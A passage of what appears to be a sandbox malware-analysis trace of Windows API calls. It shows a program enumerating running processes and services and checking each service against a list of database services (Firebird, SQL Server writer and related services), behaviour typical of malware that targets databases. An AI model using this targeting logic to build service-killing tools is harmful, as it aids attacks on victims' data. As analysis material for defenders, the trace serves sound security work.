lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.583] lstrlenW (lpString="svchost.exe") returned 11 [0273.583] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.587] lstrlenW (lpString="svchost.exe") returned 11 [0273.587] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.588] lstrlenW (lpString="svchost.exe") returned 11 [0273.588] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.589] lstrlenW (lpString="svchost.exe") returned 11 [0273.589] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.590] lstrlenW (lpString="svchost.exe") returned 11 [0273.591] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.592] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.592] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.593] lstrlenW (lpString="svchost.exe") returned 11 [0273.593] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.594] lstrlenW (lpString="audiodg.exe") returned 11 [0273.594] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.595] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0273.595] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.597] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0273.597] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.598] lstrlenW (lpString="Memory Compression") returned 18 [0273.598] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.599] lstrlenW (lpString="svchost.exe") returned 11 [0273.599] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.600] lstrlenW (lpString="sihost.exe") returned 10 [0273.600] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0273.601] lstrlenW (lpString="MDMAgent.exe") returned 12 [0273.602] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.603] lstrlenW (lpString="taskhostw.exe") returned 13 [0273.603] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0273.605] lstrlenW (lpString="msoia.exe") returned 9 [0273.605] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.606] lstrlenW (lpString="explorer.exe") returned 12 [0273.606] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.609] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0273.609] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.611] lstrlenW (lpString="SearchUI.exe") returned 12 [0273.611] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.629] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0273.629] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.630] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0273.630] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0273.635] lstrlenW (lpString="chrome64b.exe") returned 13 [0273.635] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0273.636] lstrlenW (lpString="cmd.exe") returned 7 [0273.636] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0273.637] lstrlenW (lpString="conhost.exe") returned 11 [0273.637] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.639] lstrlenW (lpString="svchost.exe") returned 11 [0273.639] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0273.640] lstrlenW (lpString="consent.exe") returned 11 [0273.640] Process32NextW (in: hSnapshot=0x4bc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0273.642] CloseHandle (hObject=0x4bc) returned 1 [0273.642] Sleep (dwMilliseconds=0x1f4) [0275.978] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a158 [0275.979] EnumServicesStatusExW (in: hSCManager=0x69a158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0275.979] GetLastError () returned 0xea [0275.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x45db460 [0275.979] EnumServicesStatusExW (in: hSCManager=0x69a158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45db460, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45db460, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0275.980] CloseServiceHandle (hSCObject=0x69a158) returned 1 [0275.980] lstrlenW (lpString="Appinfo") returned 7 [0275.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0275.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0275.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0275.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0275.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0275.981] lstrlenW (lpString="AppXSvc") returned 7 [0275.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0275.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0275.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0275.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0275.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0275.981] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0275.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0275.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0275.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0275.981] lstrlenW (lpString="Audiosrv") returned 8 [0275.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0275.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0275.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0275.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0275.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0275.981] lstrlenW (lpString="BFE") returned 3 [0275.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0275.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0275.981] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0275.981] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0275.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0275.981] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0275.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.982] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0275.982] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0275.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0275.982] lstrlenW (lpString="CDPSvc") returned 6 [0275.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0275.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0275.982] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0275.982] lstrlenW (lpString="ClickToRunSvc") returned 13 [0275.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0275.982] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0275.982] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0275.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.982] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0275.982] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0275.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0275.982] lstrlenW (lpString="CryptSvc") returned 8 [0275.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0275.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0275.982] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0275.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0275.982] lstrlenW (lpString="DcomLaunch") returned 10 [0275.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.983] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0275.983] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0275.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0275.983] lstrlenW (lpString="DeviceAssociationService") returned 24 [0275.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.983] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0275.983] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0275.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0275.983] lstrlenW (lpString="Dhcp") returned 4 [0275.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0275.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0275.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0275.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0275.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0275.983] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0275.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0275.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0275.983] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0275.983] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0275.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0275.983] lstrlenW (lpString="Dnscache") returned 8 [0275.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0275.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0275.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0275.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0275.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0275.983] lstrlenW (lpString="DPS") returned 3 [0275.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0275.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0275.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0275.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0275.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0275.984] lstrlenW (lpString="DusmSvc") returned 7 [0275.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0275.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0275.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0275.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0275.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0275.984] lstrlenW (lpString="EventLog") returned 8 [0275.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0275.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0275.984] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0275.984] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0275.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0275.984] lstrlenW (lpString="EventSystem") returned 11 [0275.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0275.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0275.984] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0275.984] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0275.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0275.984] lstrlenW (lpString="FontCache") returned 9 [0275.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0275.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0275.985] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0275.985] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0275.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0275.985] lstrlenW (lpString="gpsvc") returned 5 [0275.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0275.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0275.985] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0275.985] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0275.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0275.985] lstrlenW (lpString="iphlpsvc") returned 8 [0275.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.985] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0275.985] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0275.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0275.985] lstrlenW (lpString="KeyIso") returned 6 [0275.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0275.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0275.985] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0275.985] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0275.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0275.985] lstrlenW (lpString="LanmanServer") returned 12 [0275.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0275.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0275.985] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0275.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0275.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0275.986] lstrlenW (lpString="LanmanWorkstation") returned 17 [0275.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.986] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0275.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0275.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0275.986] lstrlenW (lpString="lfsvc") returned 5 [0275.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0275.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0275.986] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0275.986] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0275.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0275.986] lstrlenW (lpString="lmhosts") returned 7 [0275.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0275.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0275.986] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0275.986] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0275.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0275.986] lstrlenW (lpString="LSM") returned 3 [0275.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0275.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.046] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.046] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.046] lstrlenW (lpString="MpsSvc") returned 6 [0276.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.046] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.046] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.046] lstrlenW (lpString="NcbService") returned 10 [0276.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.047] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.047] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.047] lstrlenW (lpString="netprofm") returned 8 [0276.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.047] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.047] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.047] lstrlenW (lpString="NgcSvc") returned 6 [0276.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.047] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.047] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.047] lstrlenW 